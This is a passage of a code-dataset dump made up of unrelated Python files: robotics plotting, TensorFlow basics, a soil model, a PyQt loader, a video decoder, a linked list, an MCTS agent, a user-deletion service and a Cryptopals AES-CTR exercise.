../../figs/rvc4_4.gif\n :width: 500px\n :alt: example of generated graphic\n\n Example of vehicle display (animated). The label at the top is the\n block name.\n \"\"\"\n super().__init__(**blockargs)\n self.xdata = []\n self.ydata = []\n self.type = 'vehicleplot'\n if init is not None:\n assert callable(init), 'graphics init function must be callable'\n self.init = init\n self.square = square\n\n self.pathstyle = path\n \n if scale != 'auto':\n if len(scale) == 2:\n scale = scale * 2\n self.scale = scale\n self.labels = labels\n \n if animation is None:\n animation = mobile.VehiclePolygon()\n elif not isinstance(animation, mobile.VehicleAnimationBase):\n raise TypeError('animation object must be VehicleAnimationBase subclass')\n\n self.animation = animation\n\n \n def start(self, state=None):\n # create the plot\n # super().reset()\n # create the figures\n self.fig = self.create_figure(state)\n self.ax = self.fig.add_subplot(111)\n \n if self.square:\n self.ax.set_aspect('equal')\n print('done')\n\n self.ax.grid(True)\n self.ax.set_xlabel(self.labels[0])\n self.ax.set_ylabel(self.labels[1])\n self.ax.set_title(self.name)\n if self.scale != 'auto':\n self.ax.set_xlim(*self.scale[0:2])\n self.ax.set_ylim(*self.scale[2:4])\n if self.init is not None:\n self.init(self.ax)\n\n if isinstance(self.pathstyle, str):\n self.line, = plt.plot(0, 0, self.pathstyle)\n elif isinstance(self.pathstyle, dict):\n self.line, = plt.plot(0, 0, **self.pathstyle)\n\n self.animation.add()\n \n plt.draw()\n plt.show(block=False)\n\n super().start()\n \n def step(self, state=None, **kwargs):\n # inputs are set\n xyt = self.inputs[0]\n\n # update the path line\n self.xdata.append(xyt[0])\n self.ydata.append(xyt[1])\n #plt.figure(self.fig.number)\n if self.pathstyle is not None:\n self.line.set_data(self.xdata, self.ydata)\n\n # update the vehicle pose\n self.animation.update(xyt)\n \n if self.scale == 'auto':\n self.ax.relim()\n self.ax.autoscale_view()\n super().step(state=state)\n \n def done(self, block=False, **kwargs):\n if self.bd.options.graphics:\n plt.show(block=block)\n \n super().done()\n","repo_name":"AnandKumar-Patidar/Path-and-Trajectory-Planning","sub_path":"trajectoryenv/lib/python3.10/site-packages/roboticstoolbox/blocks/mobile.py","file_name":"mobile.py","file_ext":"py","file_size_in_byte":13976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"44626644722","text":"#tensorflow 기본 개념 3\n\nimport tensorflow as tf\n\n#상수 지정\ncon1 = tf.constant(10)\ncon2 = tf.constant(20, name='con2')\n\n#session 생성\nsess1 = tf.Session()\n\n#상수 행렬 연산\ncon_mat1 = tf.constant([[10, 20]], dtype=tf.float32)\ncon_mat2 = tf.constant([[30],[40]],dtype=tf.float32)\nmat_multiply1 = tf.matmul(con_mat1, con_mat2)\nmat_multiply2 = tf.matmul(con_mat2, con_mat1)\nprint(\"Tensorflow 행렬 곱_1: \", sess1.run(mat_multiply1))\nprint(\"Tensorflow 행렬 곱_2: \", sess1.run(mat_multiply2))\n\n#설정한 값을 넣을 수 있는 그릇: placeholder\ninput_data=[1,2,3]\ndata1 = tf.placeholder(dtype=tf.float32)\n\n#변수 설정 (예를 들면 placeholder로 받은 데이터로 찾아야하는 파라미터 값)\nvar1 = tf.Variable([3],dtype=tf.float32)\nvar2 = data1*var1\nsess2 = tf.Session()\ninit1 = tf.global_variables_initializer() #(*)필수\nsess2.run(init1) #(*)필수\nresult6 = sess2.run(var2, feed_dict={data1: input_data})\nprint(\"Variable 예제의 결과: \", result6)\n\n#변수 행렬 연산\nvar_mat1 = tf.Variable([[10, 20]], dtype = tf.float32)\nvar_mat2 = tf.matmul(var_mat1, con_mat2)\nsess3 = tf.Session()\ninit2 = tf.global_variables_initializer()\nsess3.run(init2)\nprint(\"Variable 행렬 연산의 결과: \", sess3.run(var_mat2))","repo_name":"paul-kim88/pythonProject2","sub_path":"Modeling_tensorflow_3.py","file_name":"Modeling_tensorflow_3.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"43778089599","text":"from __future__ import division\nfrom integrated.Modules.Core.IntegratedModelComponent import Component\n\nclass SoilType(Component):\n\n \"\"\"\n Represents soil types\n\n Needs information on Total Available Water (TAW) for a soil type.\n TAW is the amount of water that a crop can extract from its root zone.\n\n See:\n\n http://www.fao.org/docrep/x0490e/x0490e0e.htm\n\n and Table 3\n\n http://agriculture.vic.gov.au/agriculture/horticulture/vegetables/vegetable-growing-and-management/estimating-vegetable-crop-water-use\n\n\n \"\"\"\n\n def __init__(self, name, TAW_mm, current_TAW_mm, group=None):\n\n \"\"\"\n\n :param name: Soil name\n :param TAW_mm: Total Available Water (max capacity) in soil in mm per cubic metre\n :param current_TAW_mm: Water currently in the soil in mm per cubic metre\n :param group: Soil group classification (e.g. Group 1 and 2 - light soils, 3 and 4 - medium soils, etc.)\n \"\"\"\n\n self.name = name\n self.TAW_mm = TAW_mm #Total Available Water in soil in mm per cubic metre\n self.current_TAW_mm = current_TAW_mm #Water currently in the soil in mm per cubic metre\n self.group = group #Soil Grouping\n #End __init__()\n\n def calcRAW(self, current_TAW_mm=None, fraction=None):\n\n \"\"\"\n Calculate Readily Available Water in mm per metre depth\n\n If TAW_mm or fraction coefficient is not passed to this function it will use the values given at object instantiation.\n\n Explanation of TAW and RAW\n http://www.fao.org/docrep/x0490e/x0490e0e.htm\n\n :param TAW_mm: Total Available Water in mm\n :param fraction: Depletion Fraction Coefficient to use for specified soil type\n\n \"\"\"\n\n if current_TAW_mm is None:\n current_TAW_mm = self.TAW_mm #self.current_TAW_mm\n\n #assert current_TAW_mm > 0.0, \"Total Available Water in soil cannot be below 0\"\n\n if fraction is None:\n raise ValueError\n # fraction = 0.4\n #End if\n\n return float(current_TAW_mm) * fraction\n \n #End calcRAW()\n\n # def updateTAW(self, c_swd):\n\n # \"\"\"\n # :param c_swd: Current soil water deficit\n # \"\"\"\n\n # if self.current_TAW_mm < self.TAW_mm:\n # if (self.current_TAW_mm + c_swd) > self.TAW_mm:\n # # seepage = (self.current_TAW_mm + c_swd) - c_swd\n # self.current_TAW_mm = self.TAW_mm\n # else:\n # self.current_TAW_mm = self.current_TAW_mm + c_swd\n # # seepage = c_swd\n # #End\n # #End if\n # #End updateTAW()\n\n \n#End SoilType()","repo_name":"mjasher/integrated","sub_path":"Modules/Farm/Fields/Soil.py","file_name":"Soil.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"44592223483","text":"\"\"\"Listing 13-3\nWritten by Joshua Willman\nFeatured in \"Beginning PyQt - A Hands-on Approach to GUI Programming, 2nd Ed.\"\n\"\"\"\n\n# Import necessary modules\nimport sys, argparse\nfrom PyQt6.QtCore import QUrl\nfrom PyQt6.QtGui import QGuiApplication\nfrom PyQt6.QtQuick import QQuickView\n\ndef parseCommandLine():\n \"\"\"Use argparse to parse the command line for specifying\n a path to a QML file.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-f\", \"--file\", type=str,\n help=\"A path to a .qml file to be the source.\",\n required=True)\n args = vars(parser.parse_args())\n return args\n\nclass MainView(QQuickView):\n\n def __init__(self):\n \"\"\" Constructor for loading QML files \"\"\"\n super().__init__()\n self.setSource(QUrl(args[\"file\"]))\n # Get the Status enum's value and check for an error\n if self.status().name == \"Error\":\n sys.exit(1)\n else:\n self.show()\n\nif __name__ == \"__main__\":\n args = parseCommandLine() # Return command line arguments\n app = QGuiApplication(sys.argv)\n view = MainView()\n sys.exit(app.exec())","repo_name":"Apress/Beginning-PyQt--second-edition","sub_path":"Chapter13/quick_loader.py","file_name":"quick_loader.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"75"} +{"seq_id":"28409632635","text":"import ctypes\nimport os\nfrom contextlib import contextmanager\n\nimport torch\n\nfrom pybraw import _pybraw, verify\nfrom pybraw.torch.buffer_manager import BufferManagerFlow1, BufferManagerFlow2\nfrom pybraw.torch.cuda import get_current_cuda_context\nfrom pybraw.torch.flow import ReadTaskManager, ManualFlowCallback\n\n\nclass FrameImageReader:\n def __init__(self, video_path, processing_device='cpu'):\n self.video_path = os.fspath(video_path)\n self.processing_device = torch.device(processing_device)\n\n self.factory = _pybraw.CreateBlackmagicRawFactoryInstance()\n self.codec = verify(self.factory.CreateCodec())\n\n if self.processing_device.type == 'cuda':\n pipeline = _pybraw.blackmagicRawPipelineCUDA\n elif self.processing_device.type == 'cpu':\n pipeline = _pybraw.blackmagicRawPipelineCPU\n else:\n raise ValueError(f'Unsupported processing device: {self.processing_device}')\n\n configuration: _pybraw.IBlackmagicRawConfiguration = verify(self.codec.as_IBlackmagicRawConfiguration())\n if not verify(configuration.IsPipelineSupported(pipeline)):\n raise ValueError(f'Pipeline {pipeline.name} is not supported by this machine')\n\n if pipeline == _pybraw.blackmagicRawPipelineCUDA:\n with torch.cuda.device(self.processing_device):\n self.context = get_current_cuda_context()\n # Create a new CUDA stream for decoding.\n self.stream = torch.cuda.Stream()\n stream_ptr = ctypes.cast(self.stream.cuda_stream, ctypes.c_void_p)\n if stream_ptr:\n self.command_queue = _pybraw.PointerCTypesToPyBind(stream_ptr)\n else:\n self.command_queue = None\n self.manual_decoder = verify(self.codec.as_IBlackmagicRawManualDecoderFlow2())\n else:\n self.context = None\n self.command_queue = None\n self.manual_decoder = verify(self.codec.as_IBlackmagicRawManualDecoderFlow1())\n\n verify(configuration.SetPipeline(pipeline, self.context, self.command_queue))\n self.clip = verify(self.codec.OpenClip(self.video_path))\n\n def frame_count(self):\n return verify(self.clip.GetFrameCount())\n\n def frame_width(self):\n return verify(self.clip.GetWidth())\n\n def frame_height(self):\n return verify(self.clip.GetHeight())\n\n def frame_rate(self):\n return verify(self.clip.GetFrameRate())\n\n def _get_post_3d_lut_buffer(self):\n clip_processing_attributes = verify(self.clip.as_IBlackmagicRawClipProcessingAttributes())\n clip_post_3d_lut = verify(clip_processing_attributes.GetPost3DLUT())\n if clip_post_3d_lut is None:\n return None\n post_3d_lut_resource = verify(clip_post_3d_lut.GetResourceCPU())\n lut_size_bytes = verify(clip_post_3d_lut.GetResourceSizeBytes())\n post_3d_lut_buffer = torch.as_tensor(post_3d_lut_resource.to_py_nocopy(lut_size_bytes), dtype=torch.uint8).storage()\n return post_3d_lut_buffer.to(self.processing_device)\n\n @contextmanager\n def run_flow(self, pixel_format, max_running_tasks=3):\n post_3d_lut_buffer = self._get_post_3d_lut_buffer()\n\n if self.processing_device.type == 'cuda':\n buffer_manager_pool = [\n BufferManagerFlow2(self.manual_decoder, post_3d_lut_buffer, pixel_format, self.context, self.command_queue, self.stream)\n for _ in range(max_running_tasks)\n ]\n elif self.processing_device.type == 'cpu':\n buffer_manager_pool = [\n BufferManagerFlow1(self.manual_decoder, post_3d_lut_buffer, pixel_format)\n for _ in range(max_running_tasks)\n ]\n else:\n raise NotImplementedError(f'Unsupported processing device: {self.processing_device}')\n\n clip_ex = verify(self.clip.as_IBlackmagicRawClipEx())\n task_manager = ReadTaskManager(buffer_manager_pool, clip_ex, pixel_format)\n callback = ManualFlowCallback()\n verify(self.codec.SetCallback(callback))\n\n yield task_manager\n\n # Cancel pending tasks.\n task_manager.clear_queue()\n # Cancel running tasks.\n callback.cancel()\n # Consume completed tasks.\n task_manager.consume_remaining()\n\n self.codec.FlushJobs()\n verify(self.codec.SetCallback(None))\n","repo_name":"anibali/pybraw","sub_path":"src/pybraw/torch/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":4405,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"11183929733","text":"import click\nfrom .node import Node\n\nclass CDoublyLinkedList:\n def __init__(self):\n self.head = None\n self.tail = None\n self.count = 0\n\n #Function to create Circular Doubly Linked List\n def createCDLL(self, value):\n new_node = Node(value)\n new_node.next = None\n new_node.prev = None\n self.head = new_node\n self.tail = new_node\n self.count += 1\n print(\"The circular doubly linked list has been created.\")\n\n #Function to add node in the beginning\n def atBeg(self, value):\n new_node = Node(value)\n self.head.prev = new_node\n new_node.next = self.head\n self.head = new_node\n self.tail.next = self.head\n self.head.prev = self.tail\n self.count += 1\n\n #Function to add node in the middle\n def inMid(self,prev_node, value):\n if prev_node is None:\n print(\"Mentioned node doesn't exist\")\n return\n\n next_node = prev_node.next \n new_node = Node(value)\n prev_node.next = new_node\n new_node.prev = prev_node\n new_node.next = next_node\n next_node.prev = new_node\n self.count += 1\n\n #Function to add node in the end\n def atEnd(self, value):\n new_node = Node(value)\n if self.head is None:\n self.head = new_node\n self.tail = new_node\n return\n last_node = self.head\n while(last_node.next != self.head):\n last_node = last_node.next\n last_node.next = new_node\n new_node.prev = last_node\n self.tail = new_node\n self.tail.next = self.head\n self.head.prev = self.tail\n self.count += 1\n\n #searching\n def searchList(self, value):\n position = 0\n found = 0\n if self.head is None:\n print(\"The linked list does not exist\")\n else:\n temp_node = self.head\n while temp_node:\n position = position + 1\n if temp_node.value == value:\n print(\"The required value was found at position: \" + str(position))\n found = 1\n break\n if temp_node == self.tail:\n print(\"The required value does not exist in the list\")\n break\n temp_node = temp_node.next\n\n #delete\n #Function to delete node from the beginning\n def delBeg(self):\n if(self.head == None):\n return\n elif (self.head.next == self.tail.next):\n self.head = self.tail = None\n return\n elif (self.head is not None):\n next_node = self.head.next\n next_node.prev = None\n self.head = next_node\n self.tail.next = self.head\n self.head.prev = self.tail\n return\n #Function to delete a node from between the linked list\n def delMid(self, del_value):\n if(self.head == None):\n return\n temp_node = self.head\n found = False\n while (temp_node) :\n if(temp_node.value == del_value):\n found = True\n break\n temp_node = temp_node.next\n if (found == True):\n prev_node = temp_node.prev\n next_node = temp_node.next\n prev_node.next = next_node\n next_node.prev = prev_node\n return\n else:\n print(\"Element not found.\") \n\n #Function to delete node from the end\n def delEnd(self):\n if(self.head == None):\n return\n elif (self.head.next == self.tail.next):\n self.head = self.tail = None\n return\n else:\n temp_node = self.head\n while (temp_node.next is not self.tail):\n temp_node = temp_node.next\n self.tail = temp_node\n temp_node.next = None\n self.tail.next = self.head\n self.head.prev = self.tail\n return\n #delete all\n def delCDLL(self):\n if self.head is None:\n print(\"The circular doubly linked list does not exist.\")\n else:\n self.tail.next = None\n temp_node = self.head\n while (temp_node):\n temp_node.prev = None\n temp_node = temp_node.next\n self.head = None\n self.tail.next = None\n self.tail = None\n print(\"The circular doubly linked list has been deleted.\") \n\n def printForwardList(self):\n if self.head == None:\n print(\"The linked list does not exist.\")\n else:\n temp_node = self.head\n while temp_node:\n print(temp_node.value)\n if temp_node == self.tail:\n break\n temp_node = temp_node.next \n def printReverseList(self):\n if self.head == None:\n print(\"The linked list does not exist.\")\n else:\n temp_node = self.tail\n while temp_node:\n print(temp_node.value)\n if temp_node == self.head:\n break\n temp_node = temp_node.prev \n def searchList(self, value):\n position = 0\n found = 0\n if self.head is None:\n print(\"The linked list does not exist\")\n else:\n temp_node = self.head\n while temp_node:\n position = position + 1\n if temp_node.value == value:\n print(\"The required value was found at position: \" + str(position))\n found = 1\n break\n if temp_node == self.tail:\n print(\"The required value does not exist in the list\")\n break\n temp_node = temp_node.next\n\n def __iter__(self):\n node = self.head\n while node:\n yield node\n node = node.next\n if node == self.tail.next:\n break\n\n@click.command()\ndef run():\n circulardoublyLL = CDoublyLinkedList()\n circulardoublyLL.createCDLL(5)\n circulardoublyLL.atBeg(0)\n \n print([node.value for node in circulardoublyLL])\n \n","repo_name":"ScottWombat/lovemesexy","sub_path":"app/utils/linked_list/linkedList.py","file_name":"linkedList.py","file_ext":"py","file_size_in_byte":6448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14682366193","text":"import logging\nimport matplotlib.pyplot as plt\nimport random\n\nimport torch\nimport torch.nn as nn\nfrom torch.optim.optimizer import Optimizer\nimport torch.nn.functional as F\nfrom torch.optim.adagrad import Adagrad\nfrom torch.optim.rmsprop import RMSprop\nfrom torch.optim.adam import Adam\nfrom torch.optim.sgd import SGD\nfrom torch.distributions.categorical import Categorical\n\nfrom agent.models import ANET\n\n\ndef get_optimizer(model: nn.Module, optim: str, lr: float) -> Optimizer:\n \"\"\"\n Return the optimizer that corresponds to string optim. Add the parameters from model and set learning rate to lr\n :param model: model to get the parameters from\n :param optim: name of the optimizer\n :param lr: learning rate to use in the optimizer\n :return:\n \"\"\"\n if optim == \"adagrad\":\n return Adagrad(model.parameters(), lr=lr)\n elif optim == \"sgd\":\n return SGD(model.parameters(), lr=lr)\n elif optim == \"rmsprop\":\n return RMSprop(model.parameters(), lr=lr)\n elif optim == \"adam\":\n return Adam(model.parameters(), lr=lr)\n else:\n raise ValueError(\"Invalid optimizer\")\n\n\nclass Actor:\n\n def __init__(self, config: dict, load_actor: bool = False):\n if load_actor:\n self.name = None\n self.anet = None\n self.optimizer = None\n else:\n self.anet = ANET(config)\n self.optimizer = get_optimizer(self.anet.model, config[\"optim\"], config[\"lr\"])\n\n # Actor params\n self.epsilon_actor = config[\"epsilon_actor\"]\n self.dr_epsilon_actor = config[\"dr_epsilon_actor\"]\n self.log_softmax = nn.LogSoftmax(dim=1)\n self.losses_actor = []\n\n # Critic params\n self.epsilon_critic = config[\"epsilon_critic\"]\n self.dr_epsilon_critic = config[\"dr_epsilon_critic\"]\n self.criterion_critic = nn.BCELoss()\n self.losses_critic = []\n\n def load_anet(self, name: str, anet: ANET):\n \"\"\"\n Load pre-trained ANET into the Actor\n :param name: filename of the pre-trained network\n :param anet: pre-trained model\n :return: None\n \"\"\"\n self.name = name.split(\"/\")[-1]\n self.anet = anet\n\n def update_epsilon(self) -> None:\n \"\"\"\n Apply decay_rate to epsilon\n :return: None\n \"\"\"\n self.epsilon_actor *= self.dr_epsilon_actor\n self.epsilon_critic *= self.dr_epsilon_critic\n\n def get_conditional_distribution(self, player: int, state: any) -> torch.Tensor:\n \"\"\"\n Forward the game_state through ANET and return the conditional softmax of the output\n :param player: players turn\n :param state: state of the game being played\n :return: a probability distribution of all legal actions\n \"\"\"\n # First element of the list represent which player turn it is\n tensor_state = torch.as_tensor([player] + state, dtype=torch.float)\n # Forward through ANET\n D, value = self.anet(tensor_state)\n # Apply softmax to output and return un-normalized distribution over actions\n D = F.softmax(D, dim=0)\n\n # Calculate exp before re-normalizing softmax\n D = torch.exp(D)\n\n # Set positions that are already taken to zero - TODO: This is depended on what game is being played\n mask = torch.as_tensor([int(player == 0) for player in state], dtype=torch.int)\n D *= mask\n\n # Re-normalize values that are not equal to zero to sum up to 1\n all = torch.sum(D)\n D /= all\n\n return D\n\n @staticmethod\n def random_policy(state: any) -> int:\n \"\"\"\n Return a random action in the distribution\n :param state: current state of the game\n :return: index of the action in the distribution\n \"\"\"\n legal_indexes = []\n for i, p in enumerate(state):\n if p == 0:\n legal_indexes.append(i)\n return random.choice(legal_indexes)\n\n def default_policy(self, player: int, state: any) -> int:\n \"\"\"\n Forward the state through the network, and return the index of action in distribution\n :param player: players turn\n :param state: state of the game being played\n :return: index of action selected from the distribution D\n \"\"\"\n if random.random() < self.epsilon_actor:\n action_index = self.random_policy(state)\n else:\n D = self.get_conditional_distribution(player, state)\n action_index = torch.argmax(D).item()\n return action_index\n\n def topp_policy(self, player: int, state: any) -> int:\n \"\"\"\n Return the index of action in distribution\n :param player: players turn\n :param state: state of the game being played\n :return: index of action selected from the distribution D\n \"\"\"\n D = self.get_conditional_distribution(player, state)\n # action_index = Categorical(D).sample().item()\n action_index = torch.argmax(D).item()\n return action_index\n\n def value_function(self, player: int, state: any) -> float:\n # First element of the list represent which player turn it is\n tensor_state = torch.as_tensor([player] + state, dtype=torch.float)\n D, reward = self.anet(tensor_state)\n return reward\n\n def train(self, batch: list) -> None:\n \"\"\"\n Train ANET in a supervised way where you pass the game_state (player+state) through the network and use\n D as target for actor training and reward as target for critic training\n :param batch: a list of (node, D, reward) from ReplayBuffer\n :return: None\n \"\"\"\n X = torch.as_tensor([[node.player] + node.state for node, D, reward in batch], dtype=torch.float)\n target_D = torch.stack([D for node, D, reward in batch], dim=0)\n target_rewards = torch.as_tensor([[reward] for node, D, reward in batch], dtype=torch.float)\n\n self.optimizer.zero_grad() # Zero the parameter gradients in ANET\n D, value = self.anet(X) # Make prediction on X\n\n # Compute loss for both actor and critic part\n actor_loss = torch.mean(torch.sum(- target_D * self.log_softmax(D), 1))\n critic_loss = self.criterion_critic(value, target_rewards)\n loss = actor_loss + critic_loss\n # Calculate gradients, and update weights\n loss.backward()\n self.optimizer.step()\n\n # Save for later graphing\n self.losses_actor.append(actor_loss.item())\n self.losses_critic.append(critic_loss.item())\n logging.info(\"Actor Loss: {}\".format(actor_loss.item()))\n logging.info(\"Critic Loss: {}\".format(critic_loss.item()))\n\n def visualize_loss(self) -> None:\n \"\"\"\n Visualize the losses saved during training in a plot over episodes\n :return: None\n \"\"\"\n episodes = list(range(1, len(self.losses_actor) + 1))\n\n plt.title(\"Loss over episodes for Actor\")\n plt.xlabel(\"Episodes\")\n plt.ylabel(\"Cross Entropy Loss\")\n plt.plot(episodes, self.losses_actor)\n plt.savefig(\"./graphs/loss_actor.png\")\n plt.show()\n\n plt.title(\"Loss over episodes for Critic\")\n plt.xlabel(\"Episodes\")\n plt.ylabel(\"Binary Cross Entropy Loss\")\n plt.plot(episodes, self.losses_critic)\n plt.savefig(\"./graphs/loss_critic.png\")\n plt.show()\n","repo_name":"kristogj/on-policy-mcts","sub_path":"agent/actor.py","file_name":"actor.py","file_ext":"py","file_size_in_byte":7437,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"41597943982","text":"import threading\nfrom .interface import show_message\nimport time\n\n\nclass Task(threading.Thread):\n\n def __init__(self, buffer, callback=None, title=None, *args, **kwargs):\n self.buffer = buffer\n self._stop = threading.Event()\n self.result = None\n self.callback = callback\n self.done = 0\n self.finished = False\n self.title = title\n threading.Thread.__init__(self, *args, **kwargs)\n\n def run(self):\n \" Run tasks. \"\n self._Thread__target(task=self, *self._Thread__args, **self._Thread__kwargs)\n\n # Wait for result parsing\n while not self.stopped():\n time.sleep(.2)\n\n def stop(self):\n \" Stop task. \"\n self._stop.set()\n\n def stopped(self):\n return self._stop.isSet()\n\n\ndef stop_queue():\n \" Stop all tasks. \"\n for thread in threading.enumerate():\n if isinstance(thread, Task):\n thread.stop()\n show_message('%s stopped.' % thread.title)\n\n\ndef add_task(target, callback=None, buffer=None, title=None, *args, **kwargs):\n \" Add all tasks. \"\n\n task = Task(buffer, title=title, target=target, callback=callback, args=args, kwargs=kwargs)\n task.daemon = True\n task.start()\n\n show_message('%s started.' % task.title)\n\n\ndef check_task():\n \" Check tasks for result. \"\n for thread in threading.enumerate():\n if isinstance(thread, Task):\n if thread.finished:\n thread.stop()\n thread.callback(thread.result)\n else:\n show_message('%s %s%%' % (thread.title, thread.done))\n","repo_name":"funningboy/vim","sub_path":"pylibs/pymode/queue.py","file_name":"queue.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"75"} +{"seq_id":"14720171601","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\n\nfrom h.events import AnnotationEvent\nfrom h.models import Annotation, Group\nfrom h import storage\n\n\nclass UserDeleteError(Exception):\n pass\n\n\nclass DeleteUserService(object):\n def __init__(self, request):\n self.request = request\n\n def delete(self, user):\n \"\"\"\n Deletes a user with all their group memberships and annotations.\n\n Raises UserDeleteError when deletion fails with the appropriate error\n message.\n \"\"\"\n\n created_groups = self.request.db.query(Group) \\\n .filter(Group.creator == user)\n if self._groups_have_anns_from_other_users(created_groups, user):\n raise UserDeleteError('Other users have annotated in groups created by this user')\n\n self._delete_annotations(user)\n self._delete_groups(created_groups)\n self.request.db.delete(user)\n\n def _groups_have_anns_from_other_users(self, groups, user):\n \"\"\"\n Return `True` if users other than `user` have annotated in `groups`.\n \"\"\"\n group_ids = [g.pubid for g in groups]\n\n # We check for non-empty `group_ids` before querying the DB to avoid an\n # expensive SQL query if `in_` is given an empty list (see\n # https://stackoverflow.com/questions/23523147/)\n if len(group_ids) == 0:\n return False\n\n other_user_ann_count = self.request.db.query(Annotation) \\\n .filter(Annotation.groupid.in_(group_ids),\n Annotation.userid != user.userid) \\\n .count()\n return other_user_ann_count > 0\n\n def _delete_annotations(self, user):\n annotations = self.request.db.query(Annotation) \\\n .filter_by(userid=user.userid)\n for annotation in annotations:\n storage.delete_annotation(self.request.db, annotation.id)\n event = AnnotationEvent(self.request, annotation.id, 'delete')\n self.request.notify_after_commit(event)\n\n def _delete_groups(self, groups):\n for group in groups:\n self.request.db.delete(group)\n\n\ndef delete_user_service_factory(context, request):\n return DeleteUserService(request=request)\n","repo_name":"learnerflow-tool/learnerflow-server","sub_path":"h/services/delete_user.py","file_name":"delete_user.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29741992247","text":"# 2022.02.26\n# Dongyoung Kwon @Chuncheonian (ehddud2468@gmail.com)\n# https://www.acmicpc.net/problem/2606\n\nfrom collections import defaultdict\n\ncomputer_cnt = int(input())\nedge_cnt = int(input())\nadjacency_list = defaultdict(list)\n\n# 무방향그래프 인접리스트 채우기\nfor i in range(1, edge_cnt+1):\n vertex1, vertex2 = map(int, input().split())\n adjacency_list[vertex1].append(vertex2)\n adjacency_list[vertex2].append(vertex1)\n\ndef dfs(graph, vertex, visited=[]):\n visited.append(vertex)\n\n for node in graph[vertex]:\n if node not in visited:\n dfs(graph, node, visited)\n\n return visited\n\nprint(len(dfs(adjacency_list, 1)) - 1)","repo_name":"Chuncheonian/problem-solving","sub_path":"boj_02606.py","file_name":"boj_02606.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41913292758","text":"# -*- coding:utf-8 -*-\n\nfrom django.urls import path\n\nfrom docs.views.group import (\n GroupCreateApiView,\n GroupListApiView,\n GroupListAllApiView,\n GroupDetailApiView,\n GroupArticlesListApiView,\n GroupUserPermissionApiView\n)\n\nurlpatterns = [\n # 前缀:/api/v1/docs/group/\n path('create', GroupCreateApiView.as_view(), name=\"create\"),\n path('list', GroupListApiView.as_view(), name=\"list\"),\n path('all', GroupListAllApiView.as_view(), name=\"all\"),\n path('', GroupDetailApiView.as_view(), name=\"detail\"),\n path('/articles', GroupArticlesListApiView.as_view(), name=\"articles\"),\n path('/permissions', GroupUserPermissionApiView.as_view(), name=\"permissions\"),\n path('', GroupDetailApiView.as_view(lookup_field=\"code\"), name=\"detail2\"),\n]\n","repo_name":"codelieche/kanban","sub_path":"backend/apps/docs/urls/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"13464285768","text":"from base64 import b64decode\n\nfrom ..aes import ctr_decrypt\n\n\nsecret = (\"L77na/nrFsKvynd6HzOoG7GHTLXsTVu9qvY/2sy\"\n \"LXzhPweyyMTJULu/6/kXX0KSvoOLSFQ==\")\nciphertext = b64decode(secret)\n\nkey = b\"YELLOW SUBMARINE\"\nnonce = 0\nplaintext = ctr_decrypt(key, nonce, ciphertext)\n\nprint(plaintext)\nassert(plaintext == b\"Yo, VIP Let's kick it Ice, Ice, baby Ice, Ice, baby \")\n","repo_name":"JesseEmond/matasano-cryptopals","sub_path":"src/set_3/18.py","file_name":"18.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"75"} +{"seq_id":"74665271601","text":"from pywebio.input import input, FLOAT, TEXT\nfrom pywebio.output import put_text\nfrom kae.zhcompiler import compile\n\ndef bmi():\n height = input(\"请输入你的身高(cm):\", type=FLOAT)\n weight = input(\"请输入你的体重(kg):\", type=FLOAT)\n\n BMI = weight / (height / 100) ** 2\n\n top_status = [(14.9, '极瘦'), (18.4, '偏瘦'),\n (22.9, '正常'), (27.5, '过重'),\n (40.0, '肥胖'), (float('inf'), '非常肥胖')]\n\n for top, status in top_status:\n if BMI <= top:\n put_text('你的 BMI 值: %.1f,身体状态:%s' % (BMI, status))\n break\n\ndef kface():\n ips = input(\"请输入:\", type=TEXT)\n while ips:\n exs = compile(ips)\n for ex in exs:\n if ex[\"errno\"]==0:\n put_text(\"编译结果:%s\" % ex[\"exec\"])\n elif ex[\"errno\"]==1:\n put_text(\"编译失败,无法解析的语句:%s\" % ex[\"input\"])\n elif ex[\"errno\"]==2:\n put_text(\"编译失败,不会执行的语句:%s\" % ex[\"input\"])\n ips = input(\"请输入:\", type=TEXT)\n\nif __name__ == '__main__':\n kface()","repo_name":"hotlinv/kaelang","sub_path":"kae/face.py","file_name":"face.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"75"} +{"seq_id":"17526667432","text":"import openpyxl\nimport os\nimport sys\nimport time\nimport datetime\nimport random\nimport calendar\n\n\n\nstr_path = \"柔韧性提升训练数据\"\n\npath_file = \"\"\n\n\ndef get_files():\n global path_file\n\n for each_file in os.listdir(os.curdir):\n if str_path in each_file:\n path_file = each_file\n\n\nif __name__ == '__main__':\n\n # print(\"备注:\")\n\n get_files()\n\n if path_file == \"\":\n input(\"同文件夹下未找到两个对应表格文件模板,请检查文件位置或文件命名\")\n sys.exit()\n\n print(\"开始进行\"+str_path+\"的处理\")\n\n wb_path = openpyxl.load_workbook(str(path_file))\n path_sheet = wb_path.worksheets[0]\n data_sheet = 